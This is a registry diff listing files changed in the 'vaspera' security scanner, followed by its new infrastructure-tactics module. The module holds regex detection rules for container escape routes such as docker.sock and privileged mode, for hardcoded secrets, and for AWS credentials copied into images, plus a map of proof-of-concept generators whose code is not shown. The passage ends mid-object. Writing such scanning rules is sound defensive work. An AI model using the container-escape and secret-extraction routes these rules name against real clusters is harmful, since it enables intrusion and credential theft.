vaspera 2.7.0 → 2.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +72 -0
- package/README.md +111 -7
- package/dist/__tests__/agents/adversary/tactics/api.test.d.ts +5 -0
- package/dist/__tests__/agents/adversary/tactics/api.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/api.test.js +369 -0
- package/dist/__tests__/agents/adversary/tactics/api.test.js.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.d.ts +5 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.js +409 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.js.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.d.ts +7 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.js +74 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.js.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.d.ts +7 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.js +374 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.js.map +1 -0
- package/dist/__tests__/compliance-bundle.test.d.ts +9 -0
- package/dist/__tests__/compliance-bundle.test.d.ts.map +1 -0
- package/dist/__tests__/compliance-bundle.test.js +344 -0
- package/dist/__tests__/compliance-bundle.test.js.map +1 -0
- package/dist/__tests__/healthcare-compliance.test.d.ts +9 -0
- package/dist/__tests__/healthcare-compliance.test.d.ts.map +1 -0
- package/dist/__tests__/healthcare-compliance.test.js +233 -0
- package/dist/__tests__/healthcare-compliance.test.js.map +1 -0
- package/dist/action/diff-mode.d.ts +124 -8
- package/dist/action/diff-mode.d.ts.map +1 -1
- package/dist/action/diff-mode.js +384 -65
- package/dist/action/diff-mode.js.map +1 -1
- package/dist/action/diff-mode.test.js +3 -3
- package/dist/action/diff-mode.test.js.map +1 -1
- package/dist/action/pr-comment.test.js +1 -0
- package/dist/action/pr-comment.test.js.map +1 -1
- package/dist/action/sarif-upload.test.js +1 -0
- package/dist/action/sarif-upload.test.js.map +1 -1
- package/dist/agents/adversary/config.d.ts +113 -0
- package/dist/agents/adversary/config.d.ts.map +1 -0
- package/dist/agents/adversary/config.js +391 -0
- package/dist/agents/adversary/config.js.map +1 -0
- package/dist/agents/adversary/index.d.ts +41 -0
- package/dist/agents/adversary/index.d.ts.map +1 -0
- package/dist/agents/adversary/index.js +838 -0
- package/dist/agents/adversary/index.js.map +1 -0
- package/dist/agents/adversary/reporting/compliance-mapper.d.ts +108 -0
- package/dist/agents/adversary/reporting/compliance-mapper.d.ts.map +1 -0
- package/dist/agents/adversary/reporting/compliance-mapper.js +391 -0
- package/dist/agents/adversary/reporting/compliance-mapper.js.map +1 -0
- package/dist/agents/adversary/reporting/index.d.ts +10 -0
- package/dist/agents/adversary/reporting/index.d.ts.map +1 -0
- package/dist/agents/adversary/reporting/index.js +10 -0
- package/dist/agents/adversary/reporting/index.js.map +1 -0
- package/dist/agents/adversary/reporting/poc-generator.d.ts +44 -0
- package/dist/agents/adversary/reporting/poc-generator.d.ts.map +1 -0
- package/dist/agents/adversary/reporting/poc-generator.js +308 -0
- package/dist/agents/adversary/reporting/poc-generator.js.map +1 -0
- package/dist/agents/adversary/tactics/api.d.ts +13 -0
- package/dist/agents/adversary/tactics/api.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/api.js +815 -0
- package/dist/agents/adversary/tactics/api.js.map +1 -0
- package/dist/agents/adversary/tactics/auth.d.ts +13 -0
- package/dist/agents/adversary/tactics/auth.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/auth.js +676 -0
- package/dist/agents/adversary/tactics/auth.js.map +1 -0
- package/dist/agents/adversary/tactics/index.d.ts +129 -0
- package/dist/agents/adversary/tactics/index.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/index.js +199 -0
- package/dist/agents/adversary/tactics/index.js.map +1 -0
- package/dist/agents/adversary/tactics/infra.d.ts +13 -0
- package/dist/agents/adversary/tactics/infra.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/infra.js +827 -0
- package/dist/agents/adversary/tactics/infra.js.map +1 -0
- package/dist/agents/adversary/tactics/injection.d.ts +12 -0
- package/dist/agents/adversary/tactics/injection.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/injection.js +549 -0
- package/dist/agents/adversary/tactics/injection.js.map +1 -0
- package/dist/agents/adversary/tactics/llm.d.ts +13 -0
- package/dist/agents/adversary/tactics/llm.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/llm.js +767 -0
- package/dist/agents/adversary/tactics/llm.js.map +1 -0
- package/dist/agents/adversary/tactics/web-app.d.ts +13 -0
- package/dist/agents/adversary/tactics/web-app.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/web-app.js +717 -0
- package/dist/agents/adversary/tactics/web-app.js.map +1 -0
- package/dist/agents/adversary/types.d.ts +407 -0
- package/dist/agents/adversary/types.d.ts.map +1 -0
- package/dist/agents/adversary/types.js +12 -0
- package/dist/agents/adversary/types.js.map +1 -0
- package/dist/agents/index.d.ts +1 -0
- package/dist/agents/index.d.ts.map +1 -1
- package/dist/agents/index.js +2 -0
- package/dist/agents/index.js.map +1 -1
- package/dist/agents/zero-day-hunter.d.ts +1 -1
- package/dist/agents/zero-day-hunter.d.ts.map +1 -1
- package/dist/analysis/data-flow.d.ts +154 -0
- package/dist/analysis/data-flow.d.ts.map +1 -0
- package/dist/analysis/data-flow.js +393 -0
- package/dist/analysis/data-flow.js.map +1 -0
- package/dist/analysis/index.d.ts +9 -0
- package/dist/analysis/index.d.ts.map +1 -0
- package/dist/analysis/index.js +9 -0
- package/dist/analysis/index.js.map +1 -0
- package/dist/badge-service/index.d.ts +144 -0
- package/dist/badge-service/index.d.ts.map +1 -0
- package/dist/badge-service/index.js +206 -0
- package/dist/badge-service/index.js.map +1 -0
- package/dist/certification/consensus.test.js +2 -0
- package/dist/certification/consensus.test.js.map +1 -1
- package/dist/certification/store.d.ts.map +1 -1
- package/dist/certification/store.js +4 -0
- package/dist/certification/store.js.map +1 -1
- package/dist/certification/types.d.ts +3 -3
- package/dist/certification/types.d.ts.map +1 -1
- package/dist/certification/types.js +2 -0
- package/dist/certification/types.js.map +1 -1
- package/dist/commands/certification/certify.d.ts.map +1 -1
- package/dist/commands/certification/certify.js +18 -4
- package/dist/commands/certification/certify.js.map +1 -1
- package/dist/compliance/attestation.d.ts +39 -0
- package/dist/compliance/attestation.d.ts.map +1 -0
- package/dist/compliance/attestation.js +364 -0
- package/dist/compliance/attestation.js.map +1 -0
- package/dist/compliance/cfr42-part2.d.ts +42 -0
- package/dist/compliance/cfr42-part2.d.ts.map +1 -0
- package/dist/compliance/cfr42-part2.js +408 -0
- package/dist/compliance/cfr42-part2.js.map +1 -0
- package/dist/compliance/compliance-bundle.d.ts +100 -0
- package/dist/compliance/compliance-bundle.d.ts.map +1 -0
- package/dist/compliance/compliance-bundle.js +210 -0
- package/dist/compliance/compliance-bundle.js.map +1 -0
- package/dist/compliance/healthcare-bundle.d.ts +68 -0
- package/dist/compliance/healthcare-bundle.d.ts.map +1 -0
- package/dist/compliance/healthcare-bundle.js +104 -0
- package/dist/compliance/healthcare-bundle.js.map +1 -0
- package/dist/compliance/hipaa.d.ts.map +1 -1
- package/dist/compliance/hipaa.js +14 -11
- package/dist/compliance/hipaa.js.map +1 -1
- package/dist/compliance/index.d.ts +10 -2
- package/dist/compliance/index.d.ts.map +1 -1
- package/dist/compliance/index.js +9 -3
- package/dist/compliance/index.js.map +1 -1
- package/dist/compliance/mapper.d.ts.map +1 -1
- package/dist/compliance/mapper.js +3 -17
- package/dist/compliance/mapper.js.map +1 -1
- package/dist/compliance/nist-800-53.d.ts +22 -6
- package/dist/compliance/nist-800-53.d.ts.map +1 -1
- package/dist/compliance/nist-800-53.js +264 -272
- package/dist/compliance/nist-800-53.js.map +1 -1
- package/dist/compliance/report.d.ts +31 -2
- package/dist/compliance/report.d.ts.map +1 -1
- package/dist/compliance/report.js +255 -4
- package/dist/compliance/report.js.map +1 -1
- package/dist/compliance/types.d.ts +1 -1
- package/dist/compliance/types.d.ts.map +1 -1
- package/dist/config/flags.d.ts +12 -12
- package/dist/cost/index.d.ts +1 -1
- package/dist/cost/index.d.ts.map +1 -1
- package/dist/cost/index.js +1 -1
- package/dist/cost/index.js.map +1 -1
- package/dist/cost/tracker.d.ts +64 -0
- package/dist/cost/tracker.d.ts.map +1 -1
- package/dist/cost/tracker.js +165 -0
- package/dist/cost/tracker.js.map +1 -1
- package/dist/eval/fixtures/healthcare/audit-gaps.d.ts +28 -0
- package/dist/eval/fixtures/healthcare/audit-gaps.d.ts.map +1 -0
- package/dist/eval/fixtures/healthcare/audit-gaps.js +90 -0
- package/dist/eval/fixtures/healthcare/audit-gaps.js.map +1 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.d.ts +31 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.d.ts.map +1 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.js +61 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.js.map +1 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.d.ts +24 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.d.ts.map +1 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.js +41 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.js.map +1 -0
- package/dist/evidence/collector.d.ts +21 -0
- package/dist/evidence/collector.d.ts.map +1 -0
- package/dist/evidence/collector.js +340 -0
- package/dist/evidence/collector.js.map +1 -0
- package/dist/evidence/index.d.ts +11 -0
- package/dist/evidence/index.d.ts.map +1 -0
- package/dist/evidence/index.js +12 -0
- package/dist/evidence/index.js.map +1 -0
- package/dist/evidence/store.d.ts +39 -0
- package/dist/evidence/store.d.ts.map +1 -0
- package/dist/evidence/store.js +173 -0
- package/dist/evidence/store.js.map +1 -0
- package/dist/evidence/types.d.ts +175 -0
- package/dist/evidence/types.d.ts.map +1 -0
- package/dist/evidence/types.js +9 -0
- package/dist/evidence/types.js.map +1 -0
- package/dist/exporters/checkmarx.d.ts +18 -0
- package/dist/exporters/checkmarx.d.ts.map +1 -0
- package/dist/exporters/checkmarx.js +203 -0
- package/dist/exporters/checkmarx.js.map +1 -0
- package/dist/exporters/index.d.ts +22 -0
- package/dist/exporters/index.d.ts.map +1 -0
- package/dist/exporters/index.js +41 -0
- package/dist/exporters/index.js.map +1 -0
- package/dist/exporters/snyk.d.ts +18 -0
- package/dist/exporters/snyk.d.ts.map +1 -0
- package/dist/exporters/snyk.js +119 -0
- package/dist/exporters/snyk.js.map +1 -0
- package/dist/exporters/sonarqube.d.ts +18 -0
- package/dist/exporters/sonarqube.d.ts.map +1 -0
- package/dist/exporters/sonarqube.js +125 -0
- package/dist/exporters/sonarqube.js.map +1 -0
- package/dist/exporters/types.d.ts +190 -0
- package/dist/exporters/types.d.ts.map +1 -0
- package/dist/exporters/types.js +9 -0
- package/dist/exporters/types.js.map +1 -0
- package/dist/frontier/index.d.ts +12 -0
- package/dist/frontier/index.d.ts.map +1 -0
- package/dist/frontier/index.js +12 -0
- package/dist/frontier/index.js.map +1 -0
- package/dist/frontier/orchestrator.d.ts +73 -0
- package/dist/frontier/orchestrator.d.ts.map +1 -0
- package/dist/frontier/orchestrator.js +312 -0
- package/dist/frontier/orchestrator.js.map +1 -0
- package/dist/frontier/providers/stub.d.ts +32 -0
- package/dist/frontier/providers/stub.d.ts.map +1 -0
- package/dist/frontier/providers/stub.js +66 -0
- package/dist/frontier/providers/stub.js.map +1 -0
- package/dist/frontier/types.d.ts +318 -0
- package/dist/frontier/types.d.ts.map +1 -0
- package/dist/frontier/types.js +27 -0
- package/dist/frontier/types.js.map +1 -0
- package/dist/history/index.d.ts +13 -0
- package/dist/history/index.d.ts.map +1 -0
- package/dist/history/index.js +15 -0
- package/dist/history/index.js.map +1 -0
- package/dist/history/store.d.ts +74 -0
- package/dist/history/store.d.ts.map +1 -0
- package/dist/history/store.js +399 -0
- package/dist/history/store.js.map +1 -0
- package/dist/history/types.d.ts +282 -0
- package/dist/history/types.d.ts.map +1 -0
- package/dist/history/types.js +41 -0
- package/dist/history/types.js.map +1 -0
- package/dist/history/verify.d.ts +44 -0
- package/dist/history/verify.d.ts.map +1 -0
- package/dist/history/verify.js +230 -0
- package/dist/history/verify.js.map +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +431 -18
- package/dist/index.js.map +1 -1
- package/dist/multimodel/index.d.ts +1 -0
- package/dist/multimodel/index.d.ts.map +1 -1
- package/dist/multimodel/index.js +2 -0
- package/dist/multimodel/index.js.map +1 -1
- package/dist/multimodel/leaderboard.d.ts +116 -0
- package/dist/multimodel/leaderboard.d.ts.map +1 -0
- package/dist/multimodel/leaderboard.js +262 -0
- package/dist/multimodel/leaderboard.js.map +1 -0
- package/dist/observability/otel.d.ts.map +1 -1
- package/dist/observability/otel.js +1 -3
- package/dist/observability/otel.js.map +1 -1
- package/dist/plugins/loader.js +1 -1
- package/dist/plugins/loader.js.map +1 -1
- package/dist/sbom/provenance.test.js +2 -2
- package/dist/sbom/provenance.test.js.map +1 -1
- package/dist/scanners/agent/agent-chain-analysis.d.ts +152 -0
- package/dist/scanners/agent/agent-chain-analysis.d.ts.map +1 -0
- package/dist/scanners/agent/agent-chain-analysis.js +438 -0
- package/dist/scanners/agent/agent-chain-analysis.js.map +1 -0
- package/dist/scanners/agent/manifest-audit.d.ts.map +1 -1
- package/dist/scanners/agent/manifest-audit.js +30 -18
- package/dist/scanners/agent/manifest-audit.js.map +1 -1
- package/dist/scanners/agent/payloads/index.d.ts +2 -1
- package/dist/scanners/agent/payloads/index.d.ts.map +1 -1
- package/dist/scanners/agent/payloads/index.js +25 -6
- package/dist/scanners/agent/payloads/index.js.map +1 -1
- package/dist/scanners/agent/prompt-injection-fuzzer.d.ts.map +1 -1
- package/dist/scanners/agent/prompt-injection-fuzzer.js +14 -0
- package/dist/scanners/agent/prompt-injection-fuzzer.js.map +1 -1
- package/dist/scanners/agent/types.d.ts +5 -5
- package/dist/scanners/agent/types.d.ts.map +1 -1
- package/dist/scanners/agent/types.js.map +1 -1
- package/dist/scanners/cache.d.ts +156 -0
- package/dist/scanners/cache.d.ts.map +1 -0
- package/dist/scanners/cache.js +462 -0
- package/dist/scanners/cache.js.map +1 -0
- package/dist/scanners/dependencies.d.ts.map +1 -1
- package/dist/scanners/dependencies.js +5 -6
- package/dist/scanners/dependencies.js.map +1 -1
- package/dist/scanners/gosec.d.ts.map +1 -1
- package/dist/scanners/gosec.js +47 -9
- package/dist/scanners/gosec.js.map +1 -1
- package/dist/scanners/healthcare.d.ts +29 -0
- package/dist/scanners/healthcare.d.ts.map +1 -0
- package/dist/scanners/healthcare.js +526 -0
- package/dist/scanners/healthcare.js.map +1 -0
- package/dist/scanners/index.d.ts +1 -0
- package/dist/scanners/index.d.ts.map +1 -1
- package/dist/scanners/index.js +33 -0
- package/dist/scanners/index.js.map +1 -1
- package/dist/scanners/index.test.js +6 -6
- package/dist/scanners/index.test.js.map +1 -1
- package/dist/scanners/secrets.js +4 -4
- package/dist/scanners/secrets.js.map +1 -1
- package/dist/scanners/semgrep.js +5 -5
- package/dist/scanners/semgrep.js.map +1 -1
- package/dist/scanners/types.d.ts +1 -1
- package/dist/scanners/types.d.ts.map +1 -1
- package/dist/scanners/types.js +1 -0
- package/dist/scanners/types.js.map +1 -1
- package/dist/scanners/typescript.test.js +1 -1
- package/dist/scanners/typescript.test.js.map +1 -1
- package/dist/telemetry/index.d.ts +10 -0
- package/dist/telemetry/index.d.ts.map +1 -0
- package/dist/telemetry/index.js +10 -0
- package/dist/telemetry/index.js.map +1 -0
- package/dist/telemetry/registry.d.ts +178 -0
- package/dist/telemetry/registry.d.ts.map +1 -0
- package/dist/telemetry/registry.js +297 -0
- package/dist/telemetry/registry.js.map +1 -0
- package/dist/telemetry/usage.d.ts +197 -0
- package/dist/telemetry/usage.d.ts.map +1 -0
- package/dist/telemetry/usage.js +244 -0
- package/dist/telemetry/usage.js.map +1 -0
- package/package.json +11 -2
|
@@ -0,0 +1,827 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Infrastructure Tactics Module
|
|
3
|
+
*
|
|
4
|
+
* Detects infrastructure and DevOps vulnerabilities including container
|
|
5
|
+
* security, Kubernetes RBAC, secrets in images, and insecure configurations.
|
|
6
|
+
* Priority 3 - critical for cloud-native and containerized applications.
|
|
7
|
+
*
|
|
8
|
+
* @module agents/adversary/tactics/infra
|
|
9
|
+
*/
|
|
10
|
+
import { registerTactic, generateFindingId, } from "./index.js";
|
|
11
|
+
// ============================================================================
|
|
12
|
+
// Patterns
|
|
13
|
+
// ============================================================================
|
|
14
|
+
const CONTAINER_PATTERNS = [
|
|
15
|
+
{
|
|
16
|
+
id: "privileged-container",
|
|
17
|
+
name: "Privileged Container",
|
|
18
|
+
description: "Container running with --privileged flag or privileged: true",
|
|
19
|
+
cwe: "CWE-250",
|
|
20
|
+
severity: "critical",
|
|
21
|
+
regex: /--privileged|privileged\s*:\s*true/gi,
|
|
22
|
+
},
|
|
23
|
+
{
|
|
24
|
+
id: "container-capabilities",
|
|
25
|
+
name: "Excessive Container Capabilities",
|
|
26
|
+
description: "Container granted dangerous capabilities (SYS_ADMIN, SYS_PTRACE, etc.)",
|
|
27
|
+
cwe: "CWE-269",
|
|
28
|
+
severity: "high",
|
|
29
|
+
regex: /add:\s*\[.*(?:SYS_ADMIN|SYS_PTRACE|SYS_MODULE|DAC_READ_SEARCH|DAC_OVERRIDE)/gi,
|
|
30
|
+
},
|
|
31
|
+
{
|
|
32
|
+
id: "host-pid-namespace",
|
|
33
|
+
name: "Host PID Namespace",
|
|
34
|
+
description: "Container sharing host PID namespace",
|
|
35
|
+
cwe: "CWE-269",
|
|
36
|
+
severity: "high",
|
|
37
|
+
regex: /--pid\s*=?\s*host|hostPID\s*:\s*true/gi,
|
|
38
|
+
},
|
|
39
|
+
{
|
|
40
|
+
id: "host-network-namespace",
|
|
41
|
+
name: "Host Network Namespace",
|
|
42
|
+
description: "Container sharing host network namespace",
|
|
43
|
+
cwe: "CWE-269",
|
|
44
|
+
severity: "high",
|
|
45
|
+
regex: /--network\s*=?\s*host|hostNetwork\s*:\s*true/gi,
|
|
46
|
+
},
|
|
47
|
+
{
|
|
48
|
+
id: "host-ipc-namespace",
|
|
49
|
+
name: "Host IPC Namespace",
|
|
50
|
+
description: "Container sharing host IPC namespace",
|
|
51
|
+
cwe: "CWE-269",
|
|
52
|
+
severity: "medium",
|
|
53
|
+
regex: /--ipc\s*=?\s*host|hostIPC\s*:\s*true/gi,
|
|
54
|
+
},
|
|
55
|
+
{
|
|
56
|
+
id: "insecure-volume-mount",
|
|
57
|
+
name: "Insecure Volume Mount",
|
|
58
|
+
description: "Sensitive host paths mounted into container",
|
|
59
|
+
cwe: "CWE-284",
|
|
60
|
+
severity: "high",
|
|
61
|
+
regex: /-v\s+(?:\/|\/root|\/etc|\/var\/run\/docker\.sock)|hostPath:\s*\n\s*path:\s*(?:\/|\/root|\/etc|\/var\/run)/gi,
|
|
62
|
+
},
|
|
63
|
+
{
|
|
64
|
+
id: "docker-socket-mount",
|
|
65
|
+
name: "Docker Socket Mounted",
|
|
66
|
+
description: "Docker socket mounted in container (enables container escape)",
|
|
67
|
+
cwe: "CWE-284",
|
|
68
|
+
severity: "critical",
|
|
69
|
+
regex: /\/var\/run\/docker\.sock/gi,
|
|
70
|
+
},
|
|
71
|
+
];
|
|
72
|
+
const KUBERNETES_PATTERNS = [
|
|
73
|
+
{
|
|
74
|
+
id: "k8s-overly-permissive-rbac",
|
|
75
|
+
name: "Overly Permissive Kubernetes RBAC",
|
|
76
|
+
description: "ClusterRole or Role with excessive permissions (*, get/list/watch secrets, create pods)",
|
|
77
|
+
cwe: "CWE-269",
|
|
78
|
+
severity: "high",
|
|
79
|
+
regex: /resources:\s*\[\s*['"]\*['"]|verbs:\s*\[\s*['"]\*['"]|resources:\s*\[.*secrets.*\].*verbs:\s*\[.*(?:get|list|watch)/gis,
|
|
80
|
+
},
|
|
81
|
+
{
|
|
82
|
+
id: "k8s-default-service-account",
|
|
83
|
+
name: "Using Default Service Account",
|
|
84
|
+
description: "Pod using default service account with cluster access",
|
|
85
|
+
cwe: "CWE-250",
|
|
86
|
+
severity: "medium",
|
|
87
|
+
regex: /serviceAccountName:\s*default|automountServiceAccountToken:\s*true/gi,
|
|
88
|
+
},
|
|
89
|
+
{
|
|
90
|
+
id: "k8s-no-network-policy",
|
|
91
|
+
name: "Missing Network Policy",
|
|
92
|
+
description: "No NetworkPolicy defined for namespace",
|
|
93
|
+
cwe: "CWE-668",
|
|
94
|
+
severity: "medium",
|
|
95
|
+
regex: /kind:\s*Deployment(?![\s\S]*kind:\s*NetworkPolicy)/gi,
|
|
96
|
+
},
|
|
97
|
+
{
|
|
98
|
+
id: "k8s-allow-privilege-escalation",
|
|
99
|
+
name: "Allow Privilege Escalation",
|
|
100
|
+
description: "Container allowed to escalate privileges",
|
|
101
|
+
cwe: "CWE-269",
|
|
102
|
+
severity: "high",
|
|
103
|
+
regex: /allowPrivilegeEscalation:\s*true/gi,
|
|
104
|
+
},
|
|
105
|
+
{
|
|
106
|
+
id: "k8s-run-as-root",
|
|
107
|
+
name: "Container Running as Root",
|
|
108
|
+
description: "Container running as root user (UID 0)",
|
|
109
|
+
cwe: "CWE-250",
|
|
110
|
+
severity: "medium",
|
|
111
|
+
regex: /runAsUser:\s*0(?!\d)|runAsNonRoot:\s*false/gi,
|
|
112
|
+
},
|
|
113
|
+
{
|
|
114
|
+
id: "k8s-no-security-context",
|
|
115
|
+
name: "Missing Security Context",
|
|
116
|
+
description: "Pod or container missing security context configuration",
|
|
117
|
+
cwe: "CWE-1188",
|
|
118
|
+
severity: "low",
|
|
119
|
+
regex: /kind:\s*(?:Pod|Deployment|StatefulSet|DaemonSet)(?![\s\S]{0,500}securityContext:)/gi,
|
|
120
|
+
},
|
|
121
|
+
];
|
|
122
|
+
const SECRETS_PATTERNS = [
|
|
123
|
+
{
|
|
124
|
+
id: "secret-in-dockerfile",
|
|
125
|
+
name: "Secret in Dockerfile",
|
|
126
|
+
description: "Hardcoded secret in Dockerfile (ENV, ARG, or inline)",
|
|
127
|
+
cwe: "CWE-798",
|
|
128
|
+
severity: "critical",
|
|
129
|
+
regex: /(?:ENV|ARG)\s+(?:API_KEY|SECRET|PASSWORD|TOKEN|PRIVATE_KEY)\s*=?\s*[^\s$][a-zA-Z0-9_\-+=\/]{16,}/gi,
|
|
130
|
+
},
|
|
131
|
+
{
|
|
132
|
+
id: "secret-in-compose",
|
|
133
|
+
name: "Secret in Docker Compose",
|
|
134
|
+
description: "Hardcoded secret in docker-compose.yml environment variables",
|
|
135
|
+
cwe: "CWE-798",
|
|
136
|
+
severity: "critical",
|
|
137
|
+
regex: /environment:\s*\n(?:\s*-?\s*[A-Z_]+:\s*[^\s$][^\n]{8,}\n)+/gi,
|
|
138
|
+
},
|
|
139
|
+
{
|
|
140
|
+
id: "secret-in-k8s-manifest",
|
|
141
|
+
name: "Secret in Kubernetes Manifest",
|
|
142
|
+
description: "Plaintext secret in Kubernetes manifest instead of Secret resource",
|
|
143
|
+
cwe: "CWE-798",
|
|
144
|
+
severity: "critical",
|
|
145
|
+
regex: /(?:value|data):\s*(?:ey[A-Za-z0-9_\-]+=*|[a-zA-Z0-9_\-+=\/]{32,})/gi,
|
|
146
|
+
},
|
|
147
|
+
{
|
|
148
|
+
id: "aws-credentials-in-image",
|
|
149
|
+
name: "AWS Credentials in Image",
|
|
150
|
+
description: "AWS credentials or config embedded in container image",
|
|
151
|
+
cwe: "CWE-798",
|
|
152
|
+
severity: "critical",
|
|
153
|
+
regex: /(?:COPY|ADD)\s+(?:\.aws|credentials|config)\s+/gi,
|
|
154
|
+
},
|
|
155
|
+
];
|
|
156
|
+
const REGISTRY_PATTERNS = [
|
|
157
|
+
{
|
|
158
|
+
id: "insecure-registry",
|
|
159
|
+
name: "Insecure Container Registry",
|
|
160
|
+
description: "Using insecure or unverified container registry",
|
|
161
|
+
cwe: "CWE-494",
|
|
162
|
+
severity: "medium",
|
|
163
|
+
regex: /--insecure-registry|insecure-registries/gi,
|
|
164
|
+
},
|
|
165
|
+
{
|
|
166
|
+
id: "no-image-signature",
|
|
167
|
+
name: "Image Signature Verification Disabled",
|
|
168
|
+
description: "Container image signature verification not enforced",
|
|
169
|
+
cwe: "CWE-345",
|
|
170
|
+
severity: "medium",
|
|
171
|
+
regex: /DOCKER_CONTENT_TRUST\s*=\s*(?:0|false)|--disable-content-trust/gi,
|
|
172
|
+
},
|
|
173
|
+
{
|
|
174
|
+
id: "latest-tag",
|
|
175
|
+
name: "Using Latest Tag",
|
|
176
|
+
description: "Using :latest tag instead of pinned version",
|
|
177
|
+
cwe: "CWE-1104",
|
|
178
|
+
severity: "low",
|
|
179
|
+
regex: /FROM\s+[a-zA-Z0-9\-_.\/]+:latest|image:\s*[a-zA-Z0-9\-_.\/]+:latest/gi,
|
|
180
|
+
},
|
|
181
|
+
];
|
|
182
|
+
const HELM_PATTERNS = [
|
|
183
|
+
{
|
|
184
|
+
id: "helm-tls-disabled",
|
|
185
|
+
name: "Helm TLS Verification Disabled",
|
|
186
|
+
description: "Helm chart installation with TLS verification disabled",
|
|
187
|
+
cwe: "CWE-295",
|
|
188
|
+
severity: "medium",
|
|
189
|
+
regex: /--tls-verify\s*=?\s*false|--disable-openapi-validation/gi,
|
|
190
|
+
},
|
|
191
|
+
{
|
|
192
|
+
id: "helm-default-values",
|
|
193
|
+
name: "Insecure Helm Default Values",
|
|
194
|
+
description: "Helm chart with insecure default values (debug mode, weak passwords)",
|
|
195
|
+
cwe: "CWE-1188",
|
|
196
|
+
severity: "medium",
|
|
197
|
+
regex: /debug:\s*true|enabled:\s*false.*(?:rbac|networkPolicy)/gi,
|
|
198
|
+
},
|
|
199
|
+
];
|
|
200
|
+
// ============================================================================
|
|
201
|
+
// Tactic Implementation
|
|
202
|
+
// ============================================================================
|
|
203
|
+
const infraTactic = {
|
|
204
|
+
focusArea: "infra",
|
|
205
|
+
name: "Infrastructure",
|
|
206
|
+
description: "Detects infrastructure and DevOps vulnerabilities in containers, Kubernetes, and cloud configurations",
|
|
207
|
+
patterns: [
|
|
208
|
+
...CONTAINER_PATTERNS,
|
|
209
|
+
...KUBERNETES_PATTERNS,
|
|
210
|
+
...SECRETS_PATTERNS,
|
|
211
|
+
...REGISTRY_PATTERNS,
|
|
212
|
+
...HELM_PATTERNS,
|
|
213
|
+
],
|
|
214
|
+
async analyzeFile(file, config) {
|
|
215
|
+
const findings = [];
|
|
216
|
+
for (const pattern of this.patterns) {
|
|
217
|
+
if (!pattern.regex)
|
|
218
|
+
continue;
|
|
219
|
+
// Reset regex state
|
|
220
|
+
pattern.regex.lastIndex = 0;
|
|
221
|
+
let match;
|
|
222
|
+
while ((match = pattern.regex.exec(file.content)) !== null) {
|
|
223
|
+
// Calculate line number
|
|
224
|
+
const beforeMatch = file.content.substring(0, match.index);
|
|
225
|
+
const lineNum = (beforeMatch.match(/\n/g) || []).length + 1;
|
|
226
|
+
// Skip if in comment
|
|
227
|
+
const line = file.lines[lineNum - 1] || "";
|
|
228
|
+
if (isInComment(line, file.relativePath)) {
|
|
229
|
+
continue;
|
|
230
|
+
}
|
|
231
|
+
// Skip known false positives
|
|
232
|
+
if (isFalsePositive(match[0], pattern.id, file)) {
|
|
233
|
+
continue;
|
|
234
|
+
}
|
|
235
|
+
const finding = {
|
|
236
|
+
id: generateFindingId("infra", file.relativePath, lineNum, pattern.id),
|
|
237
|
+
tacticName: "infra",
|
|
238
|
+
focusArea: "infra",
|
|
239
|
+
patternId: pattern.id,
|
|
240
|
+
file: file.relativePath,
|
|
241
|
+
line: lineNum,
|
|
242
|
+
message: `${pattern.name}: ${pattern.description}`,
|
|
243
|
+
severity: pattern.severity,
|
|
244
|
+
confidence: calculateConfidence(match[0], pattern, file),
|
|
245
|
+
evidence: redactSensitive(match[0].substring(0, 200)),
|
|
246
|
+
cweIds: [pattern.cwe],
|
|
247
|
+
mitreIds: getMitreIds(pattern.id),
|
|
248
|
+
suggestedFix: getSuggestedFix(pattern.id),
|
|
249
|
+
};
|
|
250
|
+
findings.push(finding);
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
return findings;
|
|
254
|
+
},
|
|
255
|
+
async generatePoC(finding) {
|
|
256
|
+
const pocMap = {
|
|
257
|
+
"privileged-container": () => privilegedContainerPoC(finding),
|
|
258
|
+
"container-capabilities": () => containerEscapePoC(finding),
|
|
259
|
+
"docker-socket-mount": () => dockerSocketPoC(finding),
|
|
260
|
+
"k8s-overly-permissive-rbac": () => k8sRbacPoC(finding),
|
|
261
|
+
"secret-in-dockerfile": () => secretExtractionPoC(finding),
|
|
262
|
+
"secret-in-k8s-manifest": () => secretExtractionPoC(finding),
|
|
263
|
+
"insecure-volume-mount": () => hostPathPoC(finding),
|
|
264
|
+
"host-pid-namespace": () => hostNamespacePoC(finding),
|
|
265
|
+
"k8s-allow-privilege-escalation": () => privEscalationPoC(finding),
|
|
266
|
+
};
|
|
267
|
+
const generator = pocMap[finding.patternId];
|
|
268
|
+
return generator ? generator() : null;
|
|
269
|
+
},
|
|
270
|
+
getPromptEnhancement() {
|
|
271
|
+
